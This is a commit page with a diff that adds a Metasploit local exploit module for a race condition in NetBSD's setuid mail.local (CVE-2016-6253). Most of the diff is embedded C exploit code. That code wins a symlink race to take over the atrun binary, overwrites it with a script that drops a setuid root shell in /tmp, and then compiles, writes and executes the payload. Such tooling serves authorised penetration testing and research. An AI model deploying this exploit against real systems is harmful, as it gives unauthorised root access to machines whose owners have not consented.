Per discussion in #7195, trying a different route. Currently this compiles, then passes the binary. However, there isn't a reliable binary transfer method at this point, so the rewrite from this point will be to transfer the ascii file, then compile on system (gcc is installed by default I believe)
parent
8bda3c6382
commit
6306fa5aa5
|
@ -0,0 +1,325 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
#include Msf::Post::Linux::Priv
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
"Name" => "NetBSD mail.local Privilege Escalation",
|
||||
"Description" => %q{
|
||||
This module attempts to exploit a race condition in mail.local with SUID bit set on:
|
||||
NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
|
||||
NetBSD 6.1 - 6.1.5
|
||||
NetBSD 6.0 - 6.0.6
|
||||
Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.
|
||||
},
|
||||
"License" => MSF_LICENSE,
|
||||
"Author" =>
|
||||
[
|
||||
"h00die <mike@stcyrsecurity.com>", # Module
|
||||
"akat1" # Discovery
|
||||
],
|
||||
"Platform" => [ "unix", "bsd", "linux" ],
|
||||
"DisclosureDate" => "July 07 2016",
|
||||
"Targets" =>
|
||||
[
|
||||
[ 'NetBSD x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'NetBSD x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
],
|
||||
"DefaultTarget" => 1,
|
||||
'DefaultOptions' => { 'WfsDelay' => 601 }, #can take 10min for cron to kick
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic',
|
||||
'BadChars' => "\x00"
|
||||
}
|
||||
},
|
||||
"References" =>
|
||||
[
|
||||
[ "URL", "http://akat1.pl/?id=2"],
|
||||
[ "EDB", "40141"],
|
||||
[ "CVE", "2016-6253"],
|
||||
[ "URL", "http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc"]
|
||||
],
|
||||
"SessionTypes" => ["shell"]
|
||||
))
|
||||
register_options([
|
||||
OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),
|
||||
OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),
|
||||
OptString.new('WritableDir', [ true, "A directory where we can write files", "/tmp" ]),
|
||||
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 600])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# direct copy of code from exploit-db
|
||||
main = %q{
|
||||
// Source: http://akat1.pl/?id=2
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <err.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#define ATRUNPATH "/usr/libexec/atrun"
|
||||
#define MAILDIR "/var/mail"
|
||||
|
||||
static int
|
||||
overwrite_atrun(void)
|
||||
{
|
||||
char *script = "#! /bin/sh\n"
|
||||
"cp /bin/ksh /tmp/ksh\n"
|
||||
"chmod +s /tmp/ksh\n";
|
||||
size_t size;
|
||||
FILE *fh;
|
||||
int rv = 0;
|
||||
|
||||
fh = fopen(ATRUNPATH, "wb");
|
||||
|
||||
if (fh == NULL) {
|
||||
rv = -1;
|
||||
goto out;
|
||||
}
|
||||
|
||||
size = strlen(script);
|
||||
if (size != fwrite(script, 1, strlen(script), fh)) {
|
||||
rv = -1;
|
||||
goto out;
|
||||
}
|
||||
|
||||
out:
|
||||
if (fh != NULL && fclose(fh) != 0)
|
||||
rv = -1;
|
||||
|
||||
return rv;
|
||||
}
|
||||
|
||||
static int
|
||||
copy_file(const char *from, const char *dest, int create)
|
||||
{
|
||||
char buf[1024];
|
||||
FILE *in = NULL, *out = NULL;
|
||||
size_t size;
|
||||
int rv = 0, fd;
|
||||
|
||||
in = fopen(from, "rb");
|
||||
if (create == 0)
|
||||
out = fopen(dest, "wb");
|
||||
else {
|
||||
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);
|
||||
if (fd == -1) {
|
||||
rv = -1;
|
||||
goto out;
|
||||
}
|
||||
out = fdopen(fd, "wb");
|
||||
}
|
||||
|
||||
if (in == NULL || out == NULL) {
|
||||
rv = -1;
|
||||
goto out;
|
||||
}
|
||||
|
||||
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
|
||||
if (fwrite(&buf, 1, size, in) != 0) {
|
||||
rv = -1;
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
|
||||
out:
|
||||
if (in != NULL && fclose(in) != 0)
|
||||
rv = -1;
|
||||
if (out != NULL && fclose(out) != 0)
|
||||
rv = -1;
|
||||
return rv;
|
||||
}
|
||||
|
||||
int
|
||||
main()
|
||||
{
|
||||
pid_t pid;
|
||||
uid_t uid;
|
||||
struct stat sb;
|
||||
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
|
||||
|
||||
umask(0077);
|
||||
|
||||
login = getlogin();
|
||||
|
||||
if (login == NULL)
|
||||
err(EXIT_FAILURE, "who are you?");
|
||||
|
||||
uid = getuid();
|
||||
|
||||
asprintf(&mailbox, MAILDIR "/%s", login);
|
||||
|
||||
if (mailbox == NULL)
|
||||
err(EXIT_FAILURE, NULL);
|
||||
|
||||
if (access(mailbox, F_OK) != -1) {
|
||||
/* backup mailbox */
|
||||
asprintf(&mailbox_backup, "/tmp/%s", login);
|
||||
if (mailbox_backup == NULL)
|
||||
err(EXIT_FAILURE, NULL);
|
||||
}
|
||||
|
||||
if (mailbox_backup != NULL) {
|
||||
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup);
|
||||
if (copy_file(mailbox, mailbox_backup, 1))
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
}
|
||||
|
||||
/* backup atrun(1) */
|
||||
atrun_backup = strdup("/tmp/atrun");
|
||||
if (atrun_backup == NULL)
|
||||
err(EXIT_FAILURE, NULL);
|
||||
|
||||
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);
|
||||
|
||||
if (copy_file(ATRUNPATH, atrun_backup, 1))
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
|
||||
/* win the race */
|
||||
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
|
||||
|
||||
switch (pid = fork()) {
|
||||
case -1:
|
||||
err(EXIT_FAILURE, NULL);
|
||||
/* NOTREACHED */
|
||||
case 0:
|
||||
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
|
||||
"2> /dev/null", login);
|
||||
|
||||
for(;;)
|
||||
system(buf);
|
||||
/* NOTREACHED */
|
||||
|
||||
default:
|
||||
umask(0022);
|
||||
for(;;) {
|
||||
int fd;
|
||||
unlink(mailbox);
|
||||
symlink(ATRUNPATH, mailbox);
|
||||
sync();
|
||||
unlink(mailbox);
|
||||
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
|
||||
close(fd);
|
||||
sync();
|
||||
if (lstat(ATRUNPATH, &sb) == 0) {
|
||||
if (sb.st_uid == uid) {
|
||||
kill(pid, 9);
|
||||
fprintf(stderr, "[+] won race!\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
(void)waitpid(pid, NULL, 0);
|
||||
|
||||
if (mailbox_backup != NULL) {
|
||||
/* restore mailbox */
|
||||
fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox);
|
||||
|
||||
if (copy_file(mailbox_backup, mailbox, 0))
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
if (unlink(mailbox_backup) != 0)
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
}
|
||||
|
||||
/* overwrite atrun */
|
||||
fprintf(stderr, "[+] overwriting atrun(1)\n");
|
||||
|
||||
if (chmod(ATRUNPATH, 0755) != 0)
|
||||
err(EXIT_FAILURE, NULL);
|
||||
|
||||
if (overwrite_atrun())
|
||||
err(EXIT_FAILURE, NULL);
|
||||
|
||||
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
|
||||
|
||||
for(;;sleep(1)) {
|
||||
if (access("/tmp/ksh", F_OK) != -1)
|
||||
break;
|
||||
}
|
||||
|
||||
/* restore atrun */
|
||||
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH);
|
||||
|
||||
if (copy_file(atrun_backup, ATRUNPATH, 0))
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
if (unlink(atrun_backup) != 0)
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
|
||||
if (chmod(ATRUNPATH, 0555) != 0)
|
||||
err(EXIT_FAILURE, NULL);
|
||||
|
||||
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
|
||||
"ownership.\n");
|
||||
fprintf(stderr, "Enjoy your shell:\n");
|
||||
|
||||
execl("/tmp/ksh", "ksh", NULL);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
main.gsub!(/#define ATRUNPATH "\/usr\/libexec\/atrun"/,
|
||||
"#define ATRUNPATH \"#{datastore["ATRUNPATH"]}\"")
|
||||
main.gsub!(/#define MAILDIR "\/var\/mail"/,
|
||||
"#define MAILDIR \"#{datastore["MAILDIR"]}\"")
|
||||
|
||||
executable_path = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
|
||||
payload_path = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
|
||||
vprint_status("Writing Payload to #{payload_path}")
|
||||
write_file(payload_path, payload.encoded)
|
||||
register_file_for_cleanup(payload_path)
|
||||
main.gsub!(/execl("\/tmp\/ksh", "ksh", NULL);/,
|
||||
"execl(\"#{payload_path}\", \"ksh\", NULL);")
|
||||
|
||||
cpu = nil
|
||||
if target['Arch'] == ARCH_X86
|
||||
cpu = Metasm::Ia32.new
|
||||
elsif target['Arch'] == ARCH_X86_64
|
||||
cpu = Metasm::X86_64.new
|
||||
end
|
||||
|
||||
begin
|
||||
elf = Metasm::ELF.compile_c(cpu, main).encode_string
|
||||
rescue
|
||||
print_error "Metasm Encoding failed: #{$ERROR_INFO}"
|
||||
elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
|
||||
elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}"
|
||||
return
|
||||
end
|
||||
|
||||
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
|
||||
rm_f executable_path
|
||||
write_file(executable_path, elf)
|
||||
print_status("Executing. May take up to 10min for callback")
|
||||
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
|
||||
output.each_line { |line| vprint_status(line.chomp) }
|
||||
|
||||
stime = Time.now.to_f
|
||||
print_status "Starting the payload handler..."
|
||||
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
|
||||
Rex.sleep(1)
|
||||
end
|
||||
register_file_for_cleanup(executable_path)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue